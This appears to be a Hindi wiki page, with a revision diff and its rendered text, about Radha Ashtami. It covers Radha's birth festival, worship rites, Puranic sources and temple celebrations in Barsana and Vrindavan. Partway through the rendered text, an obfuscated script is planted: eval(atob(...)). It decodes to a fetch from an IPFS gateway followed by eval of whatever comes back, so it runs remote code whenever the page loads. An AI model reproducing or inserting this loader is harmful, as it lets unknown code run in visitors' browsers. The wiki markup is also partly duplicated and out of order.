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'''राधाष्टमी / Radha Ashtami'''<br />
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भाद्र मास में शुक्ल पक्ष की अष्टमी को [[कृष्ण]] प्रिया [[राधा]]जी का जन्म हुआ था,अत: यह दिन राधाष्टमी के रूप में मनाया जाता है।  राधाष्टमी के अवसर पर [[उत्तर प्रदेश]] के [[बरसाना]] में हजारों श्रद्धालु एकत्र होते हैं। बरसाना को राधा जी की जन्मस्थली माना जाता है। बरसाना [[मथुरा]] से 50 कि.मी. दूर उत्तर-पश्चिम में और [[गोवर्धन]] से 21 कि.मी. दूर उत्तर में स्थित है। यह भगवान श्रीकृष्ण की प्रेमिका राधा जी की जन्म स्थली है। यह पर्वत के ढ़लाऊ हिस्से में बसा हुआ है। इस पर्वत को ब्रह्मा पर्वत के नाम से जाना जाता है। बरसाना में राधा-कृष्ण भक्तों का सालों भर तांता लगा रहता है। श्रद्धालु इस दिन बरसाना की ऊँची पहाड़ी पर स्थित गहवर वन की परिक्रमा करते हैं तथा लाडली जी राधारानी के मंदिर में दर्शन कर खुशी मनाते हैं। दिन के अलावा पूरी रात बरसाना में गहमागहमी रहती है। विभिन्न प्रकार के सांस्कृतिक आयोजन किए जाते हैं। [[ब्रज]] भूमि पर ही भगवान कृष्ण का जन्म हुआ था और यहीं पर उन्होंने अपना यौवन बिताया। धार्मिक गीतों और कीर्तन के साथ उत्सव प्रारम्भ होता है। वैष्णव जन इस  दिन बहुत ही श्रद्धा और उल्लास के साथ व्रत उत्सव मनाते हैं।
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[[चित्र:Radha-Ashtami-2.jpg|राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]|thumb|250px|left]]
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====<u>प्रमुख तथ्य</u>====
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*यह व्रत भाद्रपद के शुक्ल पक्ष की अष्टमी को किया जाता है।
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*इस दिन [[राधा]] जी का जन्म हुआ था।
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*श्री [[कृष्ण जन्माष्टमी]] के पन्द्रह दिन बाद अष्टमी को ही राधा जी का जन्मदिन मनाया जाता हैं।
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*इस दिन राधा जी का विशेष पूजन और व्रत किया जाता है।
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[[चित्र:Radha-Ashtami-4.jpg|thumb|250px|दुग्धाभिषेक, राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]]]
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*सर्वप्रथम राधा जी को पंचामृत से स्नान कराएं, फिर उनका श्रृंगार करें। स्नानादि से शरीर शुद्ध करके मण्डप के भीतर मण्डल बनाकर उसके बीच में मिट्टी या तांबे का शुद्ध बर्तन रखकर उस पर दो वस्त्रों से ढकी हुई राधा जी की स्वर्ण या किसी अन्य धातु की बनी हुई सुंदर मूर्ति स्थापित करनी चाहिए। इसके बाद मध्याह्न के समय श्रद्धा, भक्तिपूर्वक राधा जी की पूजा करनी चाहिए। भोग लगाकर धूप, दीप, पुष्प आदि से [[राधा जी की आरती]] उतारनी चाहिए। यदि संभव हो तो उस दिन उपवास करना चाहिए। फिर दूसरे दिन सुवासिनी स्त्रियों को भोजन कराकर और मूर्ति को दान करने का बाद स्वयं भोजन करना चाहिए। इस प्रकार इस व्रत की समाप्ति करें।
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*इस प्रकार विधिपूर्वक व श्रद्धा से यह व्रत करने पर मनुष्य पापों से मुक्त हो जाता है व इस लोक और परलोक के सुख भोगता है। मनुष्य ब्रज का रहस्य जान लेता है तथा राधा परिकरों {परिवार के सदस्य की तरह} में निवास करता है।
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====<u>ब्रज में राधाष्टमी</u>====
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{{इन्हेंभीदेखें|कृष्ण जन्माष्टमी|राधा रानी मंदिर|बरसाना}}
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ब्रज मंडल में [[कृष्ण जन्माष्टमी|जन्माष्टमी]] की तरह राधाष्टमी भी एक बड़े त्योहार के रूप में मनाया जाता है। [[वृंदावन]] में भी यह उत्सव उत्साह के साथ मनाया जाता है। भगवान श्रीकृष्ण को पाने के लिए युगों से ऋषि-मुनि, संत-विद्वान भगवती राधा का आश्रय लेते रहे हैं। सदा से श्रीराधा ही श्रीकृष्ण प्रेम की प्रेरणा स्त्रोत रही हैं।
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[[चित्र:Radha-Ashtami-3.jpg|thumb|250px|left|राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]]]
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====<u>राधाभाव</u>====
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श्रीकृष्ण की भक्ति, प्रेम और रस की त्रिवेणी जब हृदय में प्रवाहित होती है, तब मन तीर्थ बन जाता है। 'सत्यम शिवम सुंदरम' का यह महाभाव ही 'राधाभाव' कहलाता है। श्रीकृष्ण [[वैष्णव|वैष्णवों]] के लिए परम आराध्य हैं। वैष्णव श्रीकृष्ण को ही अपना सर्वस्व मानते हैं। आनंद ही उनका स्वरूप है। भगवान श्रीकृष्ण की उपासना मात्र वैष्णवों के लिए ही नहीं, वरन समस्त प्राणियों के लिए आनंददायक है। श्रीकृष्ण ही आनंद का मूर्तिमान स्वरूप हैं। कृष्ण प्रेम की सर्वोच्च अवस्था ही 'राधाभाव' है।
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====<u>उपनिषद और पुराणों से</u>====
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[[चित्र:Radha-Ashtami-5.jpg|thumb|250px|राधाष्टमी का आनंद उठाते हुए श्रद्धालु]]
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जिस प्रकार श्रीकृष्ण आनंद का विग्रह हैं, उसी प्रकार राधा प्रेम की मूर्ति हैं। अत: जहां श्रीकृष्ण हैं, वहीं राधा हैं और जहां राधा हैं, वहीं श्रीकृष्ण हैं। कृष्ण के बिना राधा या राधा के बिना कृष्ण की कल्पना के संभव नहीं हैं। इसी से राधा 'महाशक्ति' कहलाती हैं। [[राधोपनिषद]] में राधा का परिचय देते हुए कहा गया है- <blockquote>कृष्ण इनकी आराधना करते हैं, इसलिए ये राधा हैं और ये सदा कृष्ण की आराधना करती हैं, इसीलिए राधिका कहलाती हैं। ब्रज की गोपियां और द्वारका की रानियां इन्हीं श्री राधा की अंशरूपा हैं। ये राधा और ये आनंद  सागर श्रीकृष्ण एक होते हुए भी क्रीडा के लिए दो हो गए हैं। राधिका कृष्ण की प्राण हैं। इन राधा रानी की अवहेलना करके जो कृष्ण की भक्ति करना चाहता है, वह उन्हें कभी पा नहीं सकता।'</blockquote> 
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*[[स्कंद पुराण]] के अनुसार राधा श्रीकृष्ण की आत्मा हैं। इसी कारण भक्तजन सीधी-साधी भाषा में उन्हें 'राधारमण' कहकर पुकारते हैं।
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*[[पद्म पुराण]] में 'परमानंद' रस को ही राधा-कृष्ण का युगल-स्वरूप माना गया है। इनकी आराधना के बिना जीव परमानंद का अनुभव नहीं कर सकता।
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*[[भविष्य पुराण]] और [[गर्ग संहिता]] के अनुसार, [[द्वापर युग]] में जब भगवान श्रीकृष्ण पृथ्वी पर अवतरित हुए, तब भाद्रपद मास के शुक्ल पक्ष की अष्टमी के दिन महाराज [[वृषभानु]] की पत्नी [[कीर्ति]] के यहां भगवती राधा अवतरित हुई। तब से भाद्रपद शुक्ल अष्टमी 'राधाष्टमी' के नाम से विख्यात हो गई।
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[[चित्र:Radha-Ashtami-6.jpg|thumb|250px|left|राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]]]
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*[[नारद पुराण]] के अनुसार 'राधाष्टमी' का व्रत करनेवाला भक्त ब्रज के दुर्लभ रहस्य को जान लेता है।
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*[[पद्म पुराण]] में सत्यतपा मुनि सुभद्रा गोपी प्रसंग में राधा नाम का स्पष्ट उल्लेख है। राधा और कृष्ण को 'युगल सरकार' की संज्ञा तो कई जगह दी गई है।
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*[[शिव पुराण]] में श्रीकृष्ण सखा विप्र [[सुदामा]] से भिन्न सुदामा गोप को राधाजी द्वारा श्राप दिए जाने का उल्लेख है।
  
==राधाष्टमी / Radha Ashtami==
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====<u>निष्काम प्रेम और समर्पण</u>====
यह व्रत भाद्रपद के शुक्ल पक्ष की अष्टमी को किया जाता है। इस दिन [[राधा]] जी का जन्म हुआ था। श्री [[कृष्ण]] जन्माष्टमी के पन्द्रह दिन बाद अष्टमी को ही राधा जी का जन्मदिन मनाया जाता हैं इस दिन राधा जी का विशेष पूजन और व्रत किया जाता है। सर्वप्रथम राधा जी को पंचामृत से स्नान कराएं, फिर उनका श्रृंगार करें। स्नानादि से शरीर शुद्ध करके मण्डप के भीतर मण्डल बनाकर उसके बीच में मिट्टी या तांबे का शुद्ध बर्तन रखकर उस पर दो वस्त्रों से ढकी हुई राधा जी की स्वर्ण या किसी अन्य धातु की बनी हुई सुंदर मूर्ति स्थापित करनी चाहिए। इसके बाद मध्याह्न के समय श्रद्धा, भक्तिपूर्वक राधा जी की पूजा करनी चाहिए। भोग लगाकर धूप, दीप, पुष्प आदि से आरती उतारनी चाहिए। यिद संभव हो तो उस दिन उपवास करना चाहिए। फिर दूसरे दिन सुवासिनी स्त्रियों को भोजन कराकर और मूर्ति को दान करने का बाद स्वयं भोजन करना चाहिए। इस प्रकार इस व्रत की समाप्ति करें।
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राधा का प्रेम निष्काम और नि:स्वार्थ है। वह श्रीकृष्ण को समर्पित हैं, राधा श्रीकृष्ण से कोई कामना की पूर्ति नहीं चाहतीं। वह सदैव श्रीकृष्ण के आनंद के लिए उद्यत रहती हैं। इसी प्रकार जब मनुष्य सर्वस्व समर्पण की भावना के साथ कृष्ण प्रेम में लीन होता है, तभी वह राधाभाव ग्रहण कर पाता है। कृष्ण प्रेम का शिखर राधाभाव है। तभी तो श्रीकृष्ण को पाने के लिए हर कोई राधारानीका आश्रय लेता है।
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[[चित्र:Radha-Ashtami-10.jpg|thumb|250px|राधाष्टमी का आनंद उठाते हुए श्रद्धालु]]
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महाभावस्वरूपात्वंकृष्णप्रियावरीयसी।
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प्रेमभक्तिप्रदेदेवि राधिकेत्वांनमाम्यहम्॥
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====<u>हिन्दी साहित्य में राधा</u>====
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हिन्दी के भक्तिकालीन कवियों ने 'राधा-कृष्ण' पर एक से बढ़कर एक उत्कृष्ट कविताएँ लिखी हैं जो हिन्दी साहित्य की अमूल्य धरोहर हैं। मगर इन कविताओं को सराहने वाले भी उक्त अवधारणा के प्रभाव में आकर राधा को काल्पनिक चरित्र ही मान बैठते हैं। इस अवधारणा के विरोध में पहला तर्क तो यही है कि इतने सारे कृष्णभक्त कवि जिनमें [[सूरदास]], [[मीरां|मीराबाई]], [[बिहारी|बिहारीलाल]] तथा [[रसखान]] प्रमुख हैं, ने इन पर बहुत सारी कविताएँ लिखी हैं।
  
इस प्रकार विधिपूर्वक व श्रद्धा से यह व्रत करने पर मनुष्य पापों से मुक्त हो जाता है इस लोक और परलोक के सुख भोगता है। मनुष्य वज्र का रहस्य जान लेता है तथा राधा परिकरों में निवास करता है।
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[[शुकदेव]] मुनि द्वारा [[परीक्षित|राजा परीक्षित]] को सुनाई गई कथा पर आधारित श्रीकृष्ण के जीवन चरित्र से संबंधित प्राचीन प्रामाणिक ग्रंथ '[[भागवत पुराण|श्रीमद्‍भगवत पुराण]]' में राधा नाम का उल्लेख नहीं है। किंवदंती है कि राधा जी ने श्रीमद्‍भागवत पुराण के समकालीन रचनाकार महर्षि [[वेदव्यास]] से अनुरोध किया था कि वे इस ग्रंथ में उनका नामोल्लेख कहीं न करें और यह पूर्णत: श्रीकृष्ण को समर्पित हो।
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==राधा जी की सखियाँ==
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[[चित्र:Radha-Ashtami-7.jpg|thumb|250px|राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]]]
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धार्मिक कथाओं में राधा जी के साथ ही उनकी आठ सखियों का भी उल्लेख आता है। इनके नाम हैं-
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#ललिता,
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#विशाखा,
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#चित्रा,
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#इन्दुलेखा,
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#चम्पकलता,
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#रंगदेवी,
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#तुंगविद्या
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#सुदेवी।
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[[वृंदावन]] में इन सखियों को समर्पित प्रसिद्ध [[अष्टसखी कुंज|अष्टसखी मंदिर]] भी है।
  
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====<u>भागवत में राधा</u>====
{{साँचा:पर्व और त्यौहार}}
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[[चित्र:Radha-1.jpg|विरहिणी [[राधा]]|thumb]]
[[category:कोश]]
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* भागवत में भी राधा का प्रत्यक्ष उल्लेख नहीं है लेकिन परोक्ष रूप से राधा नाम छिपा हुआ है। भागवत में कहा गया है - 'गोपियाँ आपस में कहती हैं- अवश्य ही सर्वशक्तिमान भगवान श्रीकृष्ण की यह आराधिका होगी इसीलिए इस पर प्रसन्न होकर हमारे प्राणप्रिय श्याम ने हमें छोड़ दिया है और इसे एकान्त में ले गए हैं। यह गोपी और कोई नहीं बल्कि राधा ही थीं। श्लोक के 'आराधितो' शब्द में राधा का नाम भी छिपा हुआ है।<ref>अनया आराधितो नूनं भगवान् हरिरीश्वरः। <br />
[[category:पर्व और त्यौहार]]
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यन्नो विहाय गोविन्दः प्रीतोयामनयद्रहः।।'</ref>
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* भागवत में महारास के प्रसंग में इस श्लोक में वर्णन है-
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<poem>'तत्रारभत गोविन्दो रासक्रीड़ामनुव्रतै।
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स्त्रीरत्नैरन्वितः प्रीतैरन्योन्याबद्ध बाहुभिः।।'<ref>भगवान श्रीकृष्ण की प्रेयसी और सेविका गोपियाँ एक दूसरे की बाँह में बाँह डाले खड़ी थीं। उन स्त्री रत्नों के साथ यमुना जी के पुलिन पर भगवान ने अपनी रसमर्या रासक्रीड़ा प्रारंभ की। स्पष्ट है कि सामान्य गोपियों से पृथक एक गोपी भगवान की प्रेयसी थी। वह राधाजी के अलावा और कौन हो सकती है।</ref></poem>
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* राधा जी के पिता वृषभानु प्रमुख गोप थे। वे वृंदावन के निकट बरसाना के रहने वाले थे। अनेक भागवत के बाद के ग्रंथों में तो राधा नाम का उल्लेख हुआ है। जिस प्रकार विभिन्न देवी-देवताओं के 'कवच' पाठ होते हैं उसी प्रकार राधा जी का भी कवच उपलब्ध है। यह कवच प्राचीन 'श्री नारदपंचरात्र' में है, जो यह सिद्ध करता है कि राधा नाम भक्तिकालीन कवियों से बहुत पहले भी था।
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* श्री नारदपंचरात्र में [[शिव]] [[पार्वती]] संवाद के रूप में प्रस्तुत 'श्री राधा कवचम्' के प्रारंभ में 'श्री राधिकायै नम:' लिखा हुआ है। पहले श्लोक में देवी पार्वती भगवान शंकर से अनुरोध करती हैं-
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<poem>
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कैलास वासिन् भगवान् भक्तानुग्रहकारक।
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राधिका कवचं पुण्यं कथयस्व मम प्रभो।।<ref>हे कैलाशवासी, भक्तों पर अनुग्रह करने वाले हे प्रभो, श्री राधिकाजी का पवित्र कवच मुझे सुनाइए। राधाजी को वृंदावन की अधीश्वरी माना जाता है।</ref>
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</poem>
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* लोक मान्यता है कि [[वृंदावन]] के '[[इमलीतला घाट वृन्दावन|इमली तला]]' में उनका इस रूप में विधिवत अभिषेक भी हुआ था। कुछ लोगों का यह भी मानना है कि वृंदावन में यमुना पार '[[भांडीरवन|भांडीर वन]]' में स्वयं [[ब्रह्मा]] जी के पुरोहितत्व में श्रीकृष्ण-राधा विवाह भी संपन्न हुआ था।
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* गोस्वामी [[तुलसीदास]] द्वारा रचित [[रामचरितमानस|श्रीरामचरितमानस]] महाकाव्य में 'शिव पार्वती विवाह' के अवसर पर [[गणेश]] वंदना का उल्लेख करते हैं-
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<poem>'मुनि अनुसासन गनपतिहि पूजेउ संभु भवानि।
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कोउ सुनि संसय करै जनि सुर अनादि जिय जानि।।<ref>मुनियों की आज्ञा से शिवजी और पार्वतीजी ने गणेशजी का पूजन किया। देवताओं को अनादि समझते हुए कोई यह शंका न करे कि गणेशजी तो शिव-पार्वती पुत्र हैं, इसलिए उनके विवाह से पहले ही गणेशजी का अस्तित्व कैसे हो सकता है।</ref>
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</poem>
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[[चित्र:Radha-Ashtami-8.jpg|thumb|250px|राधाष्टमी, [[राधा रानी मंदिर|राधा जी का मंदिर]], [[बरसाना]]]]
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====<u>बरसाना में राधाष्टमी</u>====
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[[मथुरा]], [[वृन्दावन]], [[बरसाना]], रावल और [[मांट]] के राधा रानी मंदिर में उत्सव होता है। वृन्दावन के '[[राधावल्लभ जी का मन्दिर वृन्दावन|राधा बल्लभ मंदिर]]' में तो ‘दाऊजी’ के हुरंगा सा दृश्य था। राधा जन्म की खुशी में गोस्वामी समाज के लोग झूम उठते हैं। मंदिर परिसर ‘राधा प्यारी ने जन्म लिया है, कुंवर किशोरी ने जन्म लिया है’ के सामूहिक स्वरों से गूंज उठता है, मंदिर में बनी हौदियों से हल्दी मिश्रित दही को गोस्वामियों पर उड़ेला जाता है तो वे नृत्य कर उठते हैं और एक दूसरे को बधाई देते हैं। भोग के लिए मंदिर के पट बन्द होते ही बधाई गायन के बाद दर्शन खुलते ही दधिकाना शुरु हो जाता है जिसका समापन आरती के बाद होता है। मंदिर के अनुसार वैदिक मंत्रों के मध्य मंदिर में मुख्य श्री विग्रह का प्रातः साढ़े पांच बजे से सात बजे तक अभिषेक होता है और उसके बाद मंगला आरती होती है। समाज गायन के बाद गोस्वामी राधा जन्म की खुशी में एक दूसरे को बधाई देते हैं।
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[[चित्र:Krishna-Radha-1.jpg|thumb|left|राधा-[[कृष्ण]]]]
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====<u>वृन्दावन में राधाष्टमी</u>====
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[[राधादामोदर जी मन्दिर|राधा दामोदर मंदिर]], राधा श्याम सुन्दर मंदिर, [[इस्कॉन मंदिर|कृष्ण-बलराम मंदिर]] और [[राधारमण जी मन्दिर|राधा रमण मंदिर]] में वैदिक मंत्रों के मध्य जब अभिषेक होता है तो वातावरण राधामय हो गया।|
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====<u>रावल में राधाष्टमी</u>====
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राधारानी की जन्मस्थली रावल में वैदिक मंत्रों के मध्य कई मन दूध, दही, बूरा, शहद एवं घी से श्यामाश्याम का अभिषेक किया जाता है और बाद में भक्तों में प्रसाद वितरित किया जाता है। राधाष्टमी के अवसर पर लाडलीजी मंदिर के सामने मेला लगता है। केशवदेव मंदिर में ठाकुर जी का श्रृंगार श्रीराधा के रुप में किया जाता है। राधाराष्टमी के पावन पर्व पर हजारों तीर्थयात्री गिरि गोवर्धन की परिक्रमा करते हैं।
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[[चित्र:Radha-Krishna-Janmbhumi-Mathura-1.jpg|thumb|250px|[[राधा]]-[[कृष्ण]], [[कृष्ण जन्मभूमि]], [[मथुरा]]]]
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====<u>मांट में राधाष्टमी</u>====
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राधारानी मांट में भी विशेष पूजन अर्चन के बाद भक्तों में प्रसाद वितरित किया जाता है। [[बांके बिहारी मन्दिर वृन्दावन|बांके बिहारी मंदिर]] में दिनभर [[रासलीला]] होती है्। [[राधावल्लभ मन्दिर|राधा-वल्लभ मंदिर]] से युगलस्वरुप की शोभायात्रा निकलती है जिस पर जगह-जगह पुष्प वर्षा और आरती करके स्वागत किया जाता है।
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====<u>पूजा</u>====
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राधाष्टमी को राधा-कृष्ण की संयुक्त रूप से पूजा करनी चाहिये। सर्वप्रथम राधाजी को पंचामृत से स्नान कराकर उनका श्रृंगार करना चाहिये। तत्पश्चात फल-फूल चढ़ाकर धूप-दीप इत्यादि से आरती करने के उपरांत भोग लगाना चाहिये। मंदिरों में 27 पेड़ों की पत्तियों, 27 कुओं के जल, सवा मन दूध, दही, घृत एवं बूरा और औषधियों से मूल शांति होती है और उसके बाद में कई मन पंचामृत से वैदिक मंत्रों के साथ 'श्यामाश्याम' का अभिषेक किया जाता है। श्रद्धालु गहवर वन की परिक्रमा भी लगाते हैं।
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==राधा जी की आरती==
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आरती राधा जी की कीजै,
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कृष्ण संग जो करे निवासा, कृष्ण करें जिन पर विश्वासा, आरति वृषभानु लली की कीजै।
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कृष्ण चन्द्र की करी सहाई, मुंह में आनि रूप दिखाई, उसी शक्ति की आरती कीजै।
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नन्द पुत्र से प्रीति बढाई, जमुना तट पर रास रचाई, आरती रास रचाई की कीजै।
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प्रेम राह जिसने बतलाई, निर्गुण भक्ति नहीं अपनाई, आरती राधा जी की कीजै।
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दुनिया की जो रक्षा करती, भक्तजनों के दुख सब हरती, आरती दु:ख हरणी की कीजै।
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कृष्ण चन्द्र ने प्रेम बढाया, विपिन बीच में रास रचाया, आरती कृष्ण प्रिया की कीजै।
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दुनिया की जो जननि कहावे, निज पुत्रों की धीर बंधावे, आरती जगत मात की कीजै।
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निज पुत्रों के काज संवारे, आरती गायक के कष्ट निवारे, आरती विश्वमात की कीजै।
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</poem>
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==वीथिका==
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चित्र:barsana-temple-3.jpg|बरसाना मंदिर, [[बरसाना]]
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चित्र:Radha-Krishna-1.jpg|[[राधा]]-[[कृष्ण]]
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चित्र:Radha-Krishna-3.jpg|[[राधा]]-[[कृष्ण]]
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चित्र:Radha-Krishna-4.jpg|[[राधा]]-[[कृष्ण]]
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|}
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==टीका टिप्पणी और संदर्भ==
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<references/>
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==बाहरी कडियाँ==
 +
*[http://upvas.wikidot.com/radhastami  राधाष्टमी]
 +
*[http://thatshindi.oneindia.in/news/2008/09/07/2008090765119800.html ब्रज मंडल राधाष्टमी की धूमधाम]
 +
*[http://yatrasalah.com/touristPlaces.aspx?id=188  बरसाना: भगवान श्रीकृष्ण की प्रेमिका राधा जी की नगरी]
 +
*[http://hindi.webdunia.com/religion/occasion/others/0908/27/1090827023_1.htm श्रीकृष्ण की शाश्वत शक्तिस्वरूपा हैं राधा]
 +
*[http://www.nutansavera.com/new/index.php?view=article&catid=1%3Alatest-news&id=1236%3A2009-09-01-07-21-51&tmpl=component&print=1&page=&option=com_content&Itemid=2 कृष्णप्रिया राधाजी का जन्मोत्सव-राधाष्टमी]
 +
*[http://josh18.in.com/showstory.php?id=54071 राधा भक्ति में डूबा ब्रज मंडल]
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*[http://in.jagran.yahoo.com/dharm/?page=article&articleid=4837&category=10  राधाष्टमी: श्रीकृष्ण तक पहुंचने का मार्ग हैं राधा]
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==सम्बंधित लिंक==
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{{पर्व और त्योहार}}
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[[Category:कोश]]
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[[Category:पर्व और त्योहार]]
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०७:५४, २७ दिसम्बर २०११ के समय का अवतरण

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राधाष्टमी / Radha Ashtami

भाद्र मास में शुक्ल पक्ष की अष्टमी को कृष्ण प्रिया राधाजी का जन्म हुआ था,अत: यह दिन राधाष्टमी के रूप में मनाया जाता है। राधाष्टमी के अवसर पर उत्तर प्रदेश के बरसाना में हजारों श्रद्धालु एकत्र होते हैं। बरसाना को राधा जी की जन्मस्थली माना जाता है। बरसाना मथुरा से 50 कि.मी. दूर उत्तर-पश्चिम में और गोवर्धन से 21 कि.मी. दूर उत्तर में स्थित है। यह भगवान श्रीकृष्ण की प्रेमिका राधा जी की जन्म स्थली है। यह पर्वत के ढ़लाऊ हिस्से में बसा हुआ है। इस पर्वत को ब्रह्मा पर्वत के नाम से जाना जाता है। बरसाना में राधा-कृष्ण भक्तों का सालों भर तांता लगा रहता है। श्रद्धालु इस दिन बरसाना की ऊँची पहाड़ी पर स्थित गहवर वन की परिक्रमा करते हैं तथा लाडली जी राधारानी के मंदिर में दर्शन कर खुशी मनाते हैं। दिन के अलावा पूरी रात बरसाना में गहमागहमी रहती है। विभिन्न प्रकार के सांस्कृतिक आयोजन किए जाते हैं। ब्रज भूमि पर ही भगवान कृष्ण का जन्म हुआ था और यहीं पर उन्होंने अपना यौवन बिताया। धार्मिक गीतों और कीर्तन के साथ उत्सव प्रारम्भ होता है। वैष्णव जन इस दिन बहुत ही श्रद्धा और उल्लास के साथ व्रत उत्सव मनाते हैं।

प्रमुख तथ्य

  • यह व्रत भाद्रपद के शुक्ल पक्ष की अष्टमी को किया जाता है।
  • इस दिन राधा जी का जन्म हुआ था।
  • श्री कृष्ण जन्माष्टमी के पन्द्रह दिन बाद अष्टमी को ही राधा जी का जन्मदिन मनाया जाता हैं।
  • इस दिन राधा जी का विशेष पूजन और व्रत किया जाता है।
दुग्धाभिषेक, राधाष्टमी, राधा जी का मंदिर, बरसाना
  • सर्वप्रथम राधा जी को पंचामृत से स्नान कराएं, फिर उनका श्रृंगार करें। स्नानादि से शरीर शुद्ध करके मण्डप के भीतर मण्डल बनाकर उसके बीच में मिट्टी या तांबे का शुद्ध बर्तन रखकर उस पर दो वस्त्रों से ढकी हुई राधा जी की स्वर्ण या किसी अन्य धातु की बनी हुई सुंदर मूर्ति स्थापित करनी चाहिए। इसके बाद मध्याह्न के समय श्रद्धा, भक्तिपूर्वक राधा जी की पूजा करनी चाहिए। भोग लगाकर धूप, दीप, पुष्प आदि से राधा जी की आरती उतारनी चाहिए। यदि संभव हो तो उस दिन उपवास करना चाहिए। फिर दूसरे दिन सुवासिनी स्त्रियों को भोजन कराकर और मूर्ति को दान करने का बाद स्वयं भोजन करना चाहिए। इस प्रकार इस व्रत की समाप्ति करें।
  • इस प्रकार विधिपूर्वक व श्रद्धा से यह व्रत करने पर मनुष्य पापों से मुक्त हो जाता है व इस लोक और परलोक के सुख भोगता है। मनुष्य ब्रज का रहस्य जान लेता है तथा राधा परिकरों {परिवार के सदस्य की तरह} में निवास करता है।

ब्रज में राधाष्टमी

इन्हें भी देखें: कृष्ण जन्माष्टमी, राधा रानी मंदिर, एवं बरसाना<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ब्रज मंडल में जन्माष्टमी की तरह राधाष्टमी भी एक बड़े त्योहार के रूप में मनाया जाता है। वृंदावन में भी यह उत्सव उत्साह के साथ मनाया जाता है। भगवान श्रीकृष्ण को पाने के लिए युगों से ऋषि-मुनि, संत-विद्वान भगवती राधा का आश्रय लेते रहे हैं। सदा से श्रीराधा ही श्रीकृष्ण प्रेम की प्रेरणा स्त्रोत रही हैं।

राधाभाव

श्रीकृष्ण की भक्ति, प्रेम और रस की त्रिवेणी जब हृदय में प्रवाहित होती है, तब मन तीर्थ बन जाता है। 'सत्यम शिवम सुंदरम' का यह महाभाव ही 'राधाभाव' कहलाता है। श्रीकृष्ण वैष्णवों के लिए परम आराध्य हैं। वैष्णव श्रीकृष्ण को ही अपना सर्वस्व मानते हैं। आनंद ही उनका स्वरूप है। भगवान श्रीकृष्ण की उपासना मात्र वैष्णवों के लिए ही नहीं, वरन समस्त प्राणियों के लिए आनंददायक है। श्रीकृष्ण ही आनंद का मूर्तिमान स्वरूप हैं। कृष्ण प्रेम की सर्वोच्च अवस्था ही 'राधाभाव' है।

उपनिषद और पुराणों से

राधाष्टमी का आनंद उठाते हुए श्रद्धालु

जिस प्रकार श्रीकृष्ण आनंद का विग्रह हैं, उसी प्रकार राधा प्रेम की मूर्ति हैं। अत: जहां श्रीकृष्ण हैं, वहीं राधा हैं और जहां राधा हैं, वहीं श्रीकृष्ण हैं। कृष्ण के बिना राधा या राधा के बिना कृष्ण की कल्पना के संभव नहीं हैं। इसी से राधा 'महाशक्ति' कहलाती हैं। राधोपनिषद में राधा का परिचय देते हुए कहा गया है-

कृष्ण इनकी आराधना करते हैं, इसलिए ये राधा हैं और ये सदा कृष्ण की आराधना करती हैं, इसीलिए राधिका कहलाती हैं। ब्रज की गोपियां और द्वारका की रानियां इन्हीं श्री राधा की अंशरूपा हैं। ये राधा और ये आनंद सागर श्रीकृष्ण एक होते हुए भी क्रीडा के लिए दो हो गए हैं। राधिका कृष्ण की प्राण हैं। इन राधा रानी की अवहेलना करके जो कृष्ण की भक्ति करना चाहता है, वह उन्हें कभी पा नहीं सकता।'

  • स्कंद पुराण के अनुसार राधा श्रीकृष्ण की आत्मा हैं। इसी कारण भक्तजन सीधी-साधी भाषा में उन्हें 'राधारमण' कहकर पुकारते हैं।
  • पद्म पुराण में 'परमानंद' रस को ही राधा-कृष्ण का युगल-स्वरूप माना गया है। इनकी आराधना के बिना जीव परमानंद का अनुभव नहीं कर सकता।
  • भविष्य पुराण और गर्ग संहिता के अनुसार, द्वापर युग में जब भगवान श्रीकृष्ण पृथ्वी पर अवतरित हुए, तब भाद्रपद मास के शुक्ल पक्ष की अष्टमी के दिन महाराज वृषभानु की पत्नी कीर्ति के यहां भगवती राधा अवतरित हुई। तब से भाद्रपद शुक्ल अष्टमी 'राधाष्टमी' के नाम से विख्यात हो गई।
  • नारद पुराण के अनुसार 'राधाष्टमी' का व्रत करनेवाला भक्त ब्रज के दुर्लभ रहस्य को जान लेता है।
  • पद्म पुराण में सत्यतपा मुनि सुभद्रा गोपी प्रसंग में राधा नाम का स्पष्ट उल्लेख है। राधा और कृष्ण को 'युगल सरकार' की संज्ञा तो कई जगह दी गई है।
  • शिव पुराण में श्रीकृष्ण सखा विप्र सुदामा से भिन्न सुदामा गोप को राधाजी द्वारा श्राप दिए जाने का उल्लेख है।

निष्काम प्रेम और समर्पण

राधा का प्रेम निष्काम और नि:स्वार्थ है। वह श्रीकृष्ण को समर्पित हैं, राधा श्रीकृष्ण से कोई कामना की पूर्ति नहीं चाहतीं। वह सदैव श्रीकृष्ण के आनंद के लिए उद्यत रहती हैं। इसी प्रकार जब मनुष्य सर्वस्व समर्पण की भावना के साथ कृष्ण प्रेम में लीन होता है, तभी वह राधाभाव ग्रहण कर पाता है। कृष्ण प्रेम का शिखर राधाभाव है। तभी तो श्रीकृष्ण को पाने के लिए हर कोई राधारानीका आश्रय लेता है।

राधाष्टमी का आनंद उठाते हुए श्रद्धालु

महाभावस्वरूपात्वंकृष्णप्रियावरीयसी।
प्रेमभक्तिप्रदेदेवि राधिकेत्वांनमाम्यहम्॥

हिन्दी साहित्य में राधा

हिन्दी के भक्तिकालीन कवियों ने 'राधा-कृष्ण' पर एक से बढ़कर एक उत्कृष्ट कविताएँ लिखी हैं जो हिन्दी साहित्य की अमूल्य धरोहर हैं। मगर इन कविताओं को सराहने वाले भी उक्त अवधारणा के प्रभाव में आकर राधा को काल्पनिक चरित्र ही मान बैठते हैं। इस अवधारणा के विरोध में पहला तर्क तो यही है कि इतने सारे कृष्णभक्त कवि जिनमें सूरदास, मीराबाई, बिहारीलाल तथा रसखान प्रमुख हैं, ने इन पर बहुत सारी कविताएँ लिखी हैं।

